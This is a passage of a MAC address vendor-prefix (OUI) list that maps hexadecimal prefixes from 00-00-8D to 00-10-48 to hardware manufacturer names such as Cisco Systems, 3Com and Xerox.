00-00-8D    VERDIX CORPORATION
00-00-8E    SOLBOURNE COMPUTER, INC.
00-00-8F    RAYTHEON COMPANY
00-00-90    MICROCOM
00-00-91    ANRITSU CORPORATION
00-00-92    COGENT DATA TECHNOLOGIES
00-00-93    PROTEON INC.
00-00-94    ASANTE TECHNOLOGIES
00-00-95    SONY TEKTRONIX CORP.
00-00-96    MARCONI ELECTRONICS LTD.
00-00-97    EPOCH SYSTEMS
00-00-98    CROSSCOMM CORPORATION
00-00-99    MTX, INC.
00-00-9A    RC COMPUTER A/S
00-00-9B    INFORMATION INTERNATIONAL, INC
00-00-9C    ROLM MIL-SPEC COMPUTERS
00-00-9D    LOCUS COMPUTING CORPORATION
00-00-9E    MARLI S.A.
00-00-9F    AMERISTAR TECHNOLOGIES INC.
00-00-A0    TOKYO SANYO ELECTRIC CO. LTD.
00-00-A1    MARQUETTE ELECTRIC CO.
00-00-A2    BAY NETWORKS
00-00-A3    NETWORK APPLICATION TECHNOLOGY
00-00-A4    ACORN COMPUTERS LIMITED
00-00-A5    COMPATIBLE SYSTEMS CORP.
00-00-A6    NETWORK GENERAL CORPORATION
00-00-A7    NETWORK COMPUTING DEVICES INC.
00-00-A8    STRATUS COMPUTER INC.
00-00-A9    NETWORK SYSTEMS CORP.
00-00-AA    XEROX CORPORATION
00-00-AB    LOGIC MODELING CORPORATION
00-00-AC    CONWARE COMPUTER CONSULTING
00-00-AD    BRUKER INSTRUMENTS INC.
00-00-AE    DASSAULT ELECTRONIQUE
00-00-AF    NUCLEAR DATA INSTRUMENTATION
00-00-B0    RND-RAD NETWORK DEVICES
00-00-B1    ALPHA MICROSYSTEMS INC.
00-00-B2    TELEVIDEO SYSTEMS, INC.
00-00-B3    CIMLINC INCORPORATED
00-00-B4    EDIMAX COMPUTER COMPANY
00-00-B5    DATABILITY SOFTWARE SYS. INC.
00-00-B6    MICRO-MATIC RESEARCH
00-00-B7    DOVE COMPUTER CORPORATION
00-00-B8    SEIKOSHA CO., LTD.
00-00-B9    MCDONNELL DOUGLAS COMPUTER SYS
00-00-BA    SIIG, INC.
00-00-BB    TRI-DATA
00-00-BC    ALLEN-BRADLEY CO. INC.
00-00-BD    MITSUBISHI CABLE COMPANY
00-00-BE    THE NTI GROUP
00-00-BF    SYMMETRIC COMPUTER SYSTEMS
00-00-C0    WESTERN DIGITAL CORPORATION
00-00-C1    Madge Networks Ltd.
00-00-C2    INFORMATION PRESENTATION TECH.
00-00-C3    HARRIS CORP COMPUTER SYS DIV
00-00-C4    WATERS DIV. OF MILLIPORE
00-00-C5    FARALLON COMPUTING/NETOPIA
00-00-C6    EON SYSTEMS
00-00-C7    ARIX CORPORATION
00-00-C8    ALTOS COMPUTER SYSTEMS
00-00-C9    EMULEX CORPORATION
00-00-CA    APPLITEK
00-00-CB    COMPU-SHACK ELECTRONIC GMBH
00-00-CC    DENSAN CO., LTD.
00-00-CD    Centrecom Systems, Ltd.
00-00-CE    MEGADATA CORP.
00-00-CF    HAYES MICROCOMPUTER PRODUCTS
00-00-D0    DEVELCON ELECTRONICS LTD.
00-00-D1    ADAPTEC INCORPORATED
00-00-D2    SBE, INC.
00-00-D3    WANG LABORATORIES INC.
00-00-D4    PURE DATA LTD.
00-00-D5    MICROGNOSIS INTERNATIONAL
00-00-D6    PUNCH LINE HOLDING
00-00-D7    DARTMOUTH COLLEGE
00-00-D8    NOVELL, INC.
00-00-D9    NIPPON TELEGRAPH & TELEPHONE
00-00-DA    ATEX
00-00-DB    BRITISH TELECOMMUNICATIONS PLC
00-00-DC    HAYES MICROCOMPUTER PRODUCTS
00-00-DD    TCL INCORPORATED
00-00-DE    CETIA
00-00-DF    BELL & HOWELL PUB SYS DIV
00-00-E0    QUADRAM CORP.
00-00-E1    GRID SYSTEMS
00-00-E2    ACER TECHNOLOGIES CORP.
00-00-E3    INTEGRATED MICRO PRODUCTS LTD
00-00-E4    IN2 GROUPE INTERTECHNIQUE
00-00-E5    SIGMEX LTD.
00-00-E6    APTOR PRODUITS DE COMM INDUST
00-00-E7    STAR GATE TECHNOLOGIES
00-00-E8    ACCTON TECHNOLOGY CORP.
00-00-E9    ISICAD, INC.
00-00-EA    UPNOD AB
00-00-EB    MATSUSHITA COMM. IND. CO. LTD.
00-00-EC    MICROPROCESS
00-00-ED    APRIL
00-00-EE    NETWORK DESIGNERS, LTD.
00-00-EF    KTI

 

 

00-00-F0    SAMSUNG ELECTRONICS CO., LTD.
00-00-F1    MAGNA COMPUTER CORPORATION
00-00-F2    SPIDER COMMUNICATIONS
00-00-F3    GANDALF DATA LIMITED
00-00-F4    ALLIED TELESYN INTERNATIONAL
00-00-F5    DIAMOND SALES LIMITED
00-00-F6    APPLIED MICROSYSTEMS CORP.
00-00-F7    YOUTH KEEP ENTERPRISE CO LTD
00-00-F8    DIGITAL EQUIPMENT CORPORATION
00-00-F9    QUOTRON SYSTEMS INC.
00-00-FA    MICROSAGE COMPUTER SYSTEMS INC
00-00-FB    RECHNER ZUR KOMMUNIKATION
00-00-FC    MEIKO
00-00-FD    HIGH LEVEL HARDWARE
00-00-FE    ANNAPOLIS MICRO SYSTEMS
00-00-FF    CAMTEC ELECTRONICS LTD.
00-01-00    EQUIP'TRANS
00-01-02    3COM CORPORATION
00-01-03    3COM CORPORATION
00-01-04    DVICO Co., Ltd.
00-01-05    BECKHOFF GmbH
00-01-06    Tews Datentechnik GmbH
00-01-07    Leiser GmbH
00-01-08    AVLAB Technology, Inc.
00-01-09    Nagano Japan Radio Co., Ltd.
00-01-0A    CIS TECHNOLOGY INC.
00-01-0B    Space CyberLink, Inc.
00-01-0C    System Talks Inc.
00-01-0D    CORECO, INC.
00-01-0E    Bri-Link Technologies Co., Ltd
00-01-0F    Nishan Systems, Inc.
00-01-10    Gotham Networks
00-01-11    iDigm Inc.
00-01-12    Shark Multimedia Inc.
00-01-13    OLYMPUS OPTICAL CO., LTD.
00-01-14    KANDA TSUSHIN KOGYO CO., LTD.
00-01-15    EXTRATECH CORPORATION
00-01-16    Netspect Technologies, Inc.
00-01-17    CANAL +
00-01-18    EZ Digital Co., Ltd.
00-01-19    Action Controls Pty. Ltd.
00-01-1A    EEH DataLink GmbH
00-01-1B    Unizone Technologies, Inc.
00-01-1C    Universal Talkware Corporation
00-01-1D    Centillium Communications
00-01-1E    Precidia Technologies, Inc.
00-01-1F    RC Networks, Inc.
00-01-20    OSCILLOQUARTZ S.A.
00-01-21    RapidStream Inc.
00-01-22    Trend Communications, Ltd.
00-01-23    DIGITAL ELECTRONICS CORP.
00-01-24    Acer Incorporated
00-01-25    YAESU MUSEN CO., LTD.
00-01-26    PAC Labs
00-01-27    The OPEN Group Limited
00-01-28    EnjoyWeb, Inc.
00-01-29    DFI Inc.
00-01-2A    Telematica Sistems Inteligente
00-01-2B    TELENET Co., Ltd.
00-01-2C    Aravox Technologies, Inc.
00-01-2D    Komodo Technology
00-01-2E    PC Partner Ltd.
00-01-2F    Twinhead International Corp
00-01-30    Extreme Networks
00-01-31    Detection Systems, Inc.
00-01-32    Dranetz - BMI
00-01-33    KYOWA Electronic Instruments C
00-01-34    SIG Positec Systems AG
00-01-35    KDC Corp.
00-01-36    CyberTAN Technology, Inc.
00-01-37    IT Farm Corporation
00-01-38    XAVi Technologies Corp.
00-01-39    Point Multimedia Systems
00-01-3A    SHELCAD COMMUNICATIONS, LTD.
00-01-3B    BNA SYSTEMS
00-01-3C    TIW SYSTEMS
00-01-3D    RiscStation Ltd.
00-01-3E    Ascom Tateco AB
00-01-3F    Neighbor World Co., Ltd.
00-01-40    Sendtek Corporation
00-01-41    CABLE PRINT
00-01-42    Cisco Systems, Inc.
00-01-43    Cisco Systems, Inc.
00-01-44    Cereva Networks, Inc.
00-01-45    WINSYSTEMS, INC.
00-01-46    Tesco Controls, Inc.
00-01-47    Zhone Technologies
00-01-48    X-traWeb Inc.
00-01-49    T.D.T. Transfer Data Test GmbH
00-01-4A    SONY COMPUTER SCIENCE LABS., I
00-01-4B    Ennovate Networks, Inc.
00-01-4C    Berkeley Process Control
00-01-4D    Shin Kin Enterprises Co., Ltd
00-01-4E    WIN Enterprises, Inc.
00-01-4F    LUMINOUS Networks, Inc.
00-01-50    GILAT COMMUNICATIONS, LTD.
00-01-51    Ensemble Communications
00-01-52    CHROMATEK INC.
00-01-53    ARCHTEK TELECOM CORPORATION
00-01-54    G3M Corporation
00-01-55    Promise Technology, Inc.
00-01-56    FIREWIREDIRECT.COM, INC.
00-01-57    SYSWAVE CO., LTD
00-01-58    Electro Industries/Gauge Tech
00-01-59    S1 Corporation
00-01-5A    Digital Video Broadcasting
00-01-5B    ITALTEL S.p.A/RF-UP-I
00-01-5C    CADANT INC.
00-01-5D    Pirus Networks
00-01-5E    BEST TECHNOLOGY CO., LTD.
00-01-5F    DIGITAL DESIGN GmbH
00-01-60    ELMEX Co., LTD.
00-01-61    Meta Machine Technology
00-01-62    Cygnet Technologies, Inc.
00-01-63    Cisco Systems, Inc.
00-01-64    Cisco Systems, Inc.
00-01-65    AirSwitch Corporation
00-01-66    TC GROUP A/S
00-01-67    HIOKI E.E. CORPORATION
00-01-68    VITANA CORPORATION
00-01-69    Celestix Networks Pte Ltd.
00-01-6A    ALITEC
00-01-6B    LightChip, Inc.
00-01-6C    FOXCONN
00-01-6D    Triton Network Systems
00-01-6E    Conklin Corporation
00-01-6F    HAITAI ELECTRONICS CO., LTD.
00-01-70    ESE Embedded System Engineer'g
00-01-71    Allied Data Technologies
00-01-72    TechnoLand Co., LTD.
00-01-73    JNI Corporation
00-01-74    CyberOptics Corporation
00-01-75    Radiant Communications Corp.
00-01-76    Orient Silver Enterprises
00-01-77    EDSL
00-01-78    MARGI Systems, Inc.
00-01-79    WIRELESS TECHNOLOGY, INC.
00-01-7A    Chengdu Maipu Electric Industrial Co., Ltd.
00-01-7B    Heidelberger Druckmaschinen AG
00-01-7C    AG-E GmbH
00-01-7D    ThermoQuest
00-01-7E    ADTEK System Science Co., Ltd.
00-01-7F    Experience Music Project
00-01-80    AOpen, Inc.
00-01-81    Nortel Networks
00-01-82    DICA TECHNOLOGIES AG
00-01-83    ANITE TELECOMS
00-01-84    SIEB & MEYER AG
00-01-85    Aloka Co., Ltd.
00-01-86    DISCH GmbH
00-01-87    i2SE GmbH
00-01-88    LXCO Technologies ag
00-01-89    Refraction Technology, Inc.
00-01-8A    ROI COMPUTER AG
00-01-8B    NetLinks Co., Ltd.
00-01-8C    Mega Vision
00-01-8D    AudeSi Technologies
00-01-8E    Logitec Corporation
00-01-8F    Kenetec, Inc.
00-01-90    SMK-M
00-01-91    SYRED Data Systems
00-01-92    Texas Digital Systems
00-01-93    Hanbyul Telecom Co., Ltd.
00-01-94    Capital Equipment Corporation
00-01-95    Sena Technologies, Inc.
00-01-96    Cisco Systems, Inc.
00-01-97    Cisco Systems, Inc.
00-01-98    Darim Vision
00-01-99    HeiSei Electronics
00-01-9A    LEUNIG GmbH
00-01-9B    Kyoto Microcomputer Co., Ltd.
00-01-9C    JDS Uniphase Inc.
00-01-9D    E-Control Systems, Inc.
00-01-9E    ESS Technology, Inc.
00-01-9F    Phonex Broadband
00-01-A0    Infinilink Corporation
00-01-A1    Mag-Tek, Inc.
00-01-A2    Logical Co., Ltd.
00-01-A3    GENESYS LOGIC, INC.
00-01-A4    Microlink Corporation
00-01-A5    Nextcomm, Inc.
00-01-A6    Scientific-Atlanta Arcodan A/S
00-01-A7    UNEX TECHNOLOGY CORPORATION
00-01-A8    Welltech Computer Co., Ltd.
00-01-A9    BMW AG
00-01-AA    Airspan Communications, Ltd.
00-01-AB    Main Street Networks
00-01-AC    Sitara Networks, Inc.
00-01-AD    Coach Master International  d.b.a. CMI Worldwide, Inc.
00-01-AE    Trex Enterprises
00-01-AF    Motorola Computer Group
00-01-B0    Fulltek Technology Co., Ltd.
00-01-B1    General Bandwidth
00-01-B2    Digital Processing Systems, Inc.
00-01-B3    Precision Electronic Manufacturing
00-01-B4    Wayport, Inc.
00-01-B5    Turin Networks, Inc.
00-01-B6    SAEJIN T&M Co., Ltd.
00-01-B7    Centos, Inc.
00-01-B8    Netsensity, Inc.
00-01-B9    SKF Condition Monitoring
00-01-BA    IC-Net, Inc.
00-01-BB    Frequentis
00-01-BC    Brains Corporation
00-01-BD    Peterson Electro-Musical Products, Inc.
00-01-BE    Gigalink Co., Ltd.
00-01-BF    Teleforce Co., Ltd.
00-01-C0    CompuLab, Ltd.
00-01-C1    Exbit Technology
00-01-C2    ARK Research Corp.
00-01-C3    Acromag, Inc.
00-01-C4    NeoWave, Inc.
00-01-C5    Simpler Networks
00-01-C6    Quarry Technologies
00-01-C7    Cisco Systems, Inc.
00-01-C8    THOMAS CONRAD CORP.
00-01-C8    CONRAD CORP.
00-01-C9    Cisco Systems, Inc.
00-01-CA    Geocast Network Systems, Inc.
00-01-CB    NetGame, Ltd.
00-01-CC    Japan Total Design Communication Co., Ltd.
00-01-CD    ARtem
00-01-CE    Custom Micro Products, Ltd.
00-01-CF    Alpha Data Parallel Systems, Ltd.
00-01-D0    VitalPoint, Inc.
00-01-D1    CoNet Communications, Inc.
00-01-D2    MacPower Peripherals, Ltd.
00-01-D3    PAXCOMM, Inc.
00-01-D4    Leisure Time, Inc.
00-01-D5    HAEDONG INFO & COMM CO., LTD
00-01-D6    MAN Roland Druckmaschinen AG
00-01-D7    F5 Networks, Inc.
00-01-D8    Teltronics, Inc.
00-01-D9    Sigma, Inc.
00-01-DA    WINCOMM Corporation
00-01-DB    Freecom Technologies GmbH
00-01-DC    Activetelco
00-01-DD    Avail Networks
00-01-DE    Trango Systems, Inc.
00-01-DF    ISDN Communications, Ltd.
00-01-E0    Fast Systems, Inc.
00-01-E1    Kinpo Electronics, Inc.
00-01-E2    Ando Electric Corporation
00-01-E3    Siemens AG
00-01-E4    Sitera, Inc.
00-01-E5    Supernet, Inc.
00-01-E6    Hewlett-Packard Company
00-01-E7    Hewlett-Packard Company
00-01-E8    Force10 Networks, Inc.
00-01-E9    Litton Marine Systems B.V.
00-01-EA    Cirilium Corp.
00-01-EB    C-COM Corporation
00-01-EC    Ericsson Group
00-01-ED    SETA Corp.
00-01-EE    Comtrol Europe, Ltd.
00-01-EF    Camtel Technology Corp.
00-01-F0    Tridium, Inc.
00-01-F1    Innovative Concepts, Inc.
00-01-F3    QPS, Inc.
00-01-F4    Enterasys Networks
00-01-F5    ERIM S.A.
00-01-F6    Association of Musical Electronics Industry
00-01-F7    Image Display Systems, Inc.
00-01-F8    Adherent Systems, Ltd.
00-01-F9    TeraGlobal Communications Corp.
00-01-FA    HOROSCAS
00-01-FB    DoTop Technology, Inc.
00-01-FC    Keyence Corporation
00-01-FD    Digital Voice Systems, Inc.
00-01-FE    DIGITAL EQUIPMENT CORPORATION
00-01-FF    Data Direct Networks, Inc.
00-02-00    Net & Sys Co., Ltd.
00-02-01    IFM Electronic gmbh
00-02-02    Amino Communications, Ltd.
00-02-03    Woonsang Telecom, Inc.
00-02-04    Bodmann Industries Elektronik GmbH
00-02-05    Hitachi Denshi, Ltd.
00-02-06    Telital R&D Denmark A/S
00-02-08    Unify Networks, Inc.
00-02-09    Shenzhen SED Information Technology Co., Ltd.
00-02-0A    Gefran Spa
00-02-0B    Native Networks, Inc.
00-02-0C    Metro-Optix
00-02-0D    Micronpc.com
00-02-0E    Laurel Networks, Inc.
00-02-0F    AATR
00-02-10    Fenecom
00-02-11    Nature Worldwide Technology Corp.
00-02-12    SierraCom
00-02-13    S.D.E.L.
00-02-14    DTVRO
00-02-15    Cotas Computer Technology A/B
00-02-16    Cisco Systems, Inc.
00-02-17    Cisco Systems, Inc.
00-02-18    Advanced Scientific Corp
00-02-19    Paralon Technologies
00-02-1A    Zuma Networks
00-02-1B    Kollmorgen-Servotronix
00-02-1C    Network Elements, Inc.
00-02-1D    Data General Communication Ltd.
00-02-1E    SIMTEL S.R.L.
00-02-1F    Aculab PLC
00-02-20    Canon Aptex, Inc.
00-02-21    DSP Application, Ltd.
00-02-22    Chromisys, Inc.
00-02-23    ClickTV
00-02-24    Lantern Communications, Inc.
00-02-25    Certus Technology, Inc.
00-02-26    XESystems, Inc.
00-02-27    ESD GmbH
00-02-28    Necsom, Ltd.
00-02-29    Adtec Corporation
00-02-2A    Asound Electronic
00-02-2B    Tamura Electric Works, Ltd.
00-02-2C    ABB-BOMEM
00-02-2D    Lucent Technologies WCND
00-02-2E    TEAC Corp. R& D
00-02-2F    P-Cube, Ltd.
00-02-30    Intersoft Electronics
00-02-31    Ingersoll-Rand
00-02-32    Avision, Inc.
00-02-33    Mantra Communications, Inc.
00-02-34    Imperial Technology, Inc.
00-02-35    Paragon Networks International
00-02-36    INIT GmbH
00-02-37    Cosmo Research Corp.
00-02-38    Serome Technology, Inc.
00-02-39    Visicom
00-02-3A    ZSK Stickmaschinen GmbH
00-02-3B    Redback Networks
00-02-3C    Creative Technology, Ltd.
00-02-3D    NuSpeed, Inc.
00-02-3E    Selta Telematica S.p.a
00-02-3F    Compal Electronics, Inc.
00-02-40    Seedek Co., Ltd.
00-02-41    Amer.com
00-02-42    Videoframe Systems
00-02-43    Raysis Co., Ltd.
00-02-44    SURECOM Technology Co.
00-02-45    Lampus Co, Ltd.
00-02-46    All-Win Tech Co., Ltd.
00-02-47    Great Dragon Information Technology (Group) Co., Ltd.
00-02-48    Pila GmbH & Co.
00-02-49    Aviv Infocom Co, Ltd.
00-02-4A    Cisco Systems, Inc.
00-02-4B    Cisco Systems, Inc.
00-02-4C    SiByte, Inc.
00-02-4D    Mannesman Dematic Colby Pty. Ltd.
00-02-4E    Datacard Group
00-02-4F    IPM Datacom S.R.L.
00-02-50    Geyser Networks, Inc.
00-02-51    Soma Networks
00-02-52    Carrier Corporation
00-02-53    Televideo, Inc.
00-02-54    WorldGate
00-02-55    IBM Corporation
00-02-56    Alpha Processor, Inc.
00-02-57    Microcom Corp.
00-02-58    Flying Packets Communications
00-02-59    Tsann Kuen China (Shanghai)Enterprise Co., Ltd. IT Group
00-02-5A    Catena Networks
00-02-5B    Cambridge Silicon Radio
00-02-5C    SCI Systems (Kunshan) Co., Ltd.
00-02-5E    High Technology Ltd
00-02-5F    Nortel Networks
00-02-60    Accordion Networks, Inc.
00-02-61    i3 Micro Technology AB
00-02-62    Soyo Group Soyo Com Tech Co., Ltd
00-02-63    UPS Manufacturing SRL
00-02-64    AudioRamp.com
00-02-65    Virditech Co. Ltd.
00-02-66    Thermalogic Corporation
00-02-67    NODE RUNNER, INC.
00-02-68    Harris Government Communications
00-02-69    Nadatel Co., Ltd
00-02-6A    Cocess Telecom Co., Ltd.
00-02-6B    BCM Computers Co., Ltd.
00-02-6C    Philips CFT
00-02-6D    Adept Telecom
00-02-6E    NeGeN Access, Inc.
00-02-6F    Senao International Co., Ltd.
00-02-70    Crewave Co., Ltd.
00-02-71    Vpacket Communications
00-02-72    CC&C Technologies, Inc.
00-02-73    Coriolis Networks
00-02-74    Tommy Technologies Corp.
00-02-75    SMART Technologies, Inc.
00-02-76    Primax Electronics Ltd.
00-02-77    Cash Systemes Industrie
00-02-78    Samsung Electro-Mechanics Co., Ltd.
00-02-79    Control Applications, Ltd.
00-02-7A    IOI Technology Corporation
00-02-7B    Amplify Net, Inc.
00-02-7C    Trilithic, Inc.
00-02-7D    Cisco Systems, Inc.
00-02-7E    Cisco Systems, Inc.
00-02-7F    ask-technologies.com
00-02-80    Mu Net, Inc.
00-02-81    Madge Networks, Ltd.
00-02-82    ViaClix, Inc.
00-02-83    Spectrum Controls, Inc.
00-02-84    Alstom T&D P&C
00-02-85    Riverstone Networks
00-02-86    Occam Networks
00-02-87    Adapcom
00-02-88    GLOBAL VILLAGE COMMUNICATION
00-02-89    DNE Technologies
00-02-8A    Ambit Microsystems Corporation
00-02-8B    VDSL Systems OY
00-02-8C    Micrel-Synergy Semiconductor
00-02-8D    Movita Technologies, Inc.
00-02-8E    Rapid 5 Networks, Inc.
00-02-8F    Globetek, Inc.
00-02-90    Woorigisool, Inc.
00-02-91    Open Network Co., Ltd.
00-02-92    Logic Innovations, Inc.
00-02-93    Solid Data Systems
00-02-94    Tokyo Sokushin Co., Ltd.
00-02-95    IP.Access Limited
00-02-96    Lectron Co,. Ltd.
00-02-97    C-COR.net
00-02-98    Broadframe Corporation
00-02-99    Apex, Inc.
00-02-9A    Storage Apps
00-02-9B    Kreatel Communications AB
00-02-9D    Merix Corp.
00-02-9E    Information Equipment Co., Ltd.
00-02-9F    L-3 Communication Aviation Recorders
00-02-A0    Flatstack Ltd.
00-02-A1    World Wide Packets
00-02-A2    Hilscher GmbH
00-02-A3    ABB Power Automation
00-02-A4    AddPac Technology Co., Ltd.
00-02-A5    Compaq Computer Corporation
00-02-A6    Effinet Systems Co., Ltd.
00-02-A7    Vivace Networks
00-02-A8    Air Link Technology
00-02-A9    RACOM, s.r.o.
00-02-AA    PLcom Co., Ltd.
00-02-AB    CTC Union Technologies Co., Ltd.
00-02-AC    3PAR data
00-02-AD    Asahi Optical Co., Ltd.
00-02-AE    Scannex Electronics Ltd.
00-02-AF    TeleCruz Technology, Inc.
00-02-B0    Hokubu Communication & Industrial Co., Ltd.
00-02-B1    Anritsu, Ltd.
00-02-B2    Cablevision
00-02-B3    Intel Corporation
00-02-B4    DAPHNE
00-02-B5    Avnet, Inc.
00-02-B6    Acrosser Technology Co., Ltd.
00-02-B7    Watanabe Electric Industry Co., Ltd.
00-02-B8    WHI KONSULT AB
00-02-B9    Cisco Systems, Inc.
00-02-BA    Cisco Systems, Inc.
00-02-BB    Continuous Computing
00-02-BC    LVL 7 Systems, Inc.
00-02-BD    Bionet Co., Ltd.
00-02-BE    Totsu Engineering, Inc.
00-02-BF    dotRocket, Inc.
00-02-C0    Bencent Tzeng Industry Co., Ltd.
00-02-C1    Innovative Electronic Designs, Inc.
00-02-C2    Net Vision Telecom
00-02-C3    Arelnet Ltd.
00-02-C4    Vector International BUBA
00-02-C5    Evertz Microsystems Ltd.
00-02-C6    Data Track Technology PLC
00-02-C7    ALPS ELECTRIC Co., Ltd.
00-02-C8    Technocom Communications Technology (pte) Ltd
00-02-C9    Mellanox Technologies
00-02-CA    EndPoints, Inc.
00-02-CB    TriState Ltd.
00-02-CC    M.C.C.I
00-02-CD    TeleDream, Inc.
00-02-CE    FoxJet, Inc.
00-02-CF    ZyGate Communications, Inc.
00-02-D0    Comdial Corporation
00-02-D1    Vivotek, Inc.
00-02-D2    Workstation AG
00-02-D3    NetBotz
00-02-D4    PDA Peripherals, Inc.
00-02-D5    ACR
00-02-D6    NICE Systems
00-02-D7    EMPEG Ltd
00-02-D8    BRECIS Communications Corporation
00-02-D9    Reliable Controls
00-02-DA    ExiO Communications, Inc.
00-02-DB    NETSEC
00-02-DC    Fujitsu General Limited
00-02-DD    Bromax Communications, Ltd.
00-02-DE    Astrodesign, Inc.
00-02-DF    Net Com Systems, Inc.
00-02-E0    ETAS GmbH
00-02-E1    Integrated Network Corporation
00-02-E2    NDC Infared Engineering
00-02-E3    LITE-ON Communications, Inc.
00-02-E4    JC HYUN Systems, Inc.
00-02-E5    Timeware Ltd.
00-02-E6    Gould Instrument Systems, Inc.
00-02-E7    CAB GmbH & Co KG
00-02-E8    E.D.&A.
00-02-E9    CS Systemes De Securite - C3S
00-02-EA    Videonics, Inc.
00-02-EB    Easent Communications
00-02-EC    Maschoff Design Engineering
00-02-ED    DXO Telecom Co., Ltd.
00-02-EE    Nokia Danmark A/S
00-02-EF    CCC Network Systems Group Ltd.
00-02-F0    AME Optimedia Technology Co., Ltd.
00-02-F1    Pinetron Co., Ltd.
00-02-F2    eDevice, Inc.
00-02-F3    Media Serve Co., Ltd.
00-02-F4    PCTEL, Inc.
00-02-F5    VIVE Synergies, Inc.
00-02-F6    Equipe Communications
00-02-F7    ARM
00-02-F8    SEAKER Engineering, Inc.
00-02-F9    Mimos Semiconductor SDN BHD
00-02-FA    DX Antenna Co., Ltd.
00-02-FB    Baumuller Aulugen-Systemtechnik GmbH
00-02-FC    Cisco Systems, Inc.
00-02-FD    Cisco Systems, Inc.
00-02-FE    Viditec, Inc.
00-02-FF    Handon Broad InfoCom
00-03-00    Netcontinuum, Inc.
00-03-01    Avantas Networks Corporation
00-03-02    Oasys Telecom, Inc.
00-03-03    JAMA Electronics Co., Ltd.
00-03-04    Pacific Broadband Communiations
00-03-05    Smart Network Devices GmbH
00-03-06    Fusion In Tech Co., Ltd.
00-03-07    Secure Works, Inc.
00-03-08    AM Communications, Inc.
00-03-09    Texcel Technology PLC
00-03-0A    Argus Technologies
00-03-0B    Hunter Technology, Inc.
00-03-0C    Telesoft Technologies Ltd.
00-03-0D    Uniwill Computer Corp.
00-03-0E    Core Communications Co., Ltd.
00-03-0F    Legend Digital China Ltd.
00-03-10    Link Evolution Corp.
00-03-11    Micro Technology Co., Ltd.
00-03-12    TR-Systemtechnik GmbH
00-03-13    Access Media SPA
00-03-14    Teleware Network Systems
00-03-15    Cidco Incorporated
00-03-16    Nobell Communications, Inc.
00-03-17    Merlin Systems, Inc.
00-03-18    Cyras Systems, Inc.
00-03-19    Infineon AG
00-03-1A    Beijing Broad Telecom Ltd., China
00-03-1B    Cellvision Systems, Inc.
00-03-1C    Svenska Hardvarufabriken AB
00-03-1D    Taiwan Commate Computer, Inc.
00-03-1E    Optranet, Inc.
00-03-1F    Condev Ltd.
00-03-20    Xpeed, Inc.
00-03-21    Reco Research Co., Ltd.
00-03-22    IDIS Co., Ltd.
00-03-23    Cornet Technology, Inc.
00-03-24    Tottori SANYO Electric Co., Ltd.
00-03-25    Arima Computer Corp.
00-03-26    Iwasaki Information Systems Co., Ltd.
00-03-27    ACT'L
00-03-28    Mace Group, Inc.
00-03-29    F3, Inc.
00-03-2A    UniData Communication Systems, Inc.
00-03-2B    GAI Datenfunksysteme GmbH
00-03-2C    ABB Industrie AG
00-03-2D    IBASE Technology, Inc.
00-03-2E    Scope Information Management, Ltd.
00-03-2F    Global Sun Technology, Inc.
00-03-30    Imagenics, Co., Ltd.
00-04-00    LEXMARK INTERNATIONAL, INC.
00-04-AC    IBM CORP.
00-05-02    APPLE COMPUTER
00-05-A8    WYLE ELECTRONICS
00-06-29    IBM CORPORATION
00-06-2B    INTRASERVER TECHNOLOGY
00-06-7C    CISCO SYSTEMS, INC.
00-06-C1    CISCO SYSTEMS, INC.
00-07-01    RACAL-DATACOM
00-08-00    MULTITECH SYSTEMS, INC.
00-08-C7    COMPAQ COMPUTER CORPORATION
00-0A-27    Apple Computer, Inc.
00-10-00    CABLE TELEVISION
00-10-01    MCK COMMUNICATIONS
00-10-02    ACTIA
00-10-03    IMATRON, INC.
00-10-04    THE BRANTLEY COILE COMPANY,INC
00-10-05    UEC COMMERCIAL
00-10-06    RACAL RECORDERS LTD.
00-10-07    CISCO SYSTEMS, INC.
00-10-08    VIENNA SYSTEMS CORPORATION
00-10-09    HORO QUARTZ
00-10-0A    WILLIAMS COMMUNICATIONS GROUP
00-10-0B    CISCO SYSTEMS, INC.
00-10-0C    ITO CO., LTD.
00-10-0D    CISCO SYSTEMS, INC.
00-10-0E    MICRO LINEAR COPORATION
00-10-0F    INDUSTRIAL CPU SYSTEMS
00-10-10    INITIO CORPORATION
00-10-11    CISCO SYSTEMS, INC.
00-10-12    PROCESSOR SYSTEMS (I) PVT LTD
00-10-13    INDUSTRIAL COMPUTER SOURCE
00-10-14    CISCO SYSTEMS, INC.
00-10-15    OOMON INC.
00-10-16    T.SQWARE
00-10-17    MICOS GMBH
00-10-18    BROADCOM CORPORATION
00-10-19    SIRONA DENTAL SYSTEMS
00-10-1A    PICTURETEL CORP.
00-10-1B    CORNET TECHNOLOGY, INC.
00-10-1C    OHM TECHNOLOGIES INTL, LLC
00-10-1D    WINBOND ELECTRONICS CORP.
00-10-1E    MATSUSHITA ELECTRONIC
00-10-1F    CISCO SYSTEMS, INC.
00-10-20    WELCH ALLYN, DATA COLLECTION
00-10-21    ENCANTO NETWORKS, INC.
00-10-22    SATCOM MEDIA CORPORATION
00-10-23    FLOWWISE NETWORKS, INC.
00-10-24    NAGOYA ELECTRIC WORKS CO., LTD
00-10-25    GRAYHILL INC.
00-10-26    ACCELERATED NETWORKS, INC.
00-10-27    L-3 COMMUNICATIONS EAST
00-10-28    COMPUTER TECHNICA, INC.
00-10-29    CISCO SYSTEMS, INC.
00-10-2A    ZF MICROSYSTEMS, INC.
00-10-2B    UMAX DATA SYSTEMS, INC.
00-10-2C    PNP TECHNOLOGY A/S
00-10-2D    HITACHI SOFTWARE ENGINEERING
00-10-2E    NETWORK SYSTEMS & TECHNOLOGIES
00-10-2F    CISCO SYSTEMS, INC.
00-10-30    WI-LAN, INC.
00-10-31    OBJECTIVE COMMUNICATIONS, INC.
00-10-32    ALTA TECHNOLOGY
00-10-33    ACCESSLAN COMMUNICATIONS, INC.
00-10-34    GNP COMPUTERS
00-10-35    ELITEGROUP COMPUTER
00-10-36    INTER-TEL INTEGRATED SYSTEMS
00-10-37    CYQ'VE TECHNOLOGY CO., LTD.
00-10-38    MICRO RESEARCH INSTITUTE, INC.
00-10-39    VECTRON SYSTEMS GMBH
00-10-3A    DIAMOND NETWORK TECH
00-10-3B    HIPPI NETWORKING FORUM
00-10-3C    IC ENSEMBLE, INC.
00-10-3D    PHASECOM, LTD.
00-10-3E    NETSCHOOLS CORPORATION
00-10-3F    TOLLGRADE COMMUNICATIONS, INC.
00-10-40    INTERMEC CORPORATION
00-10-41    BRISTOL BABCOCK, INC.
00-10-42    ALACRITECH
00-10-43    A2 CORPORATION
00-10-44    INNOLABS CORPORATION
00-10-45    Nortel Networks
00-10-46    ALCORN MCBRIDE INC.
00-10-47    ECHO ELETRIC CO. LTD.
00-10-48    HTRC AUTOMATION, INC.
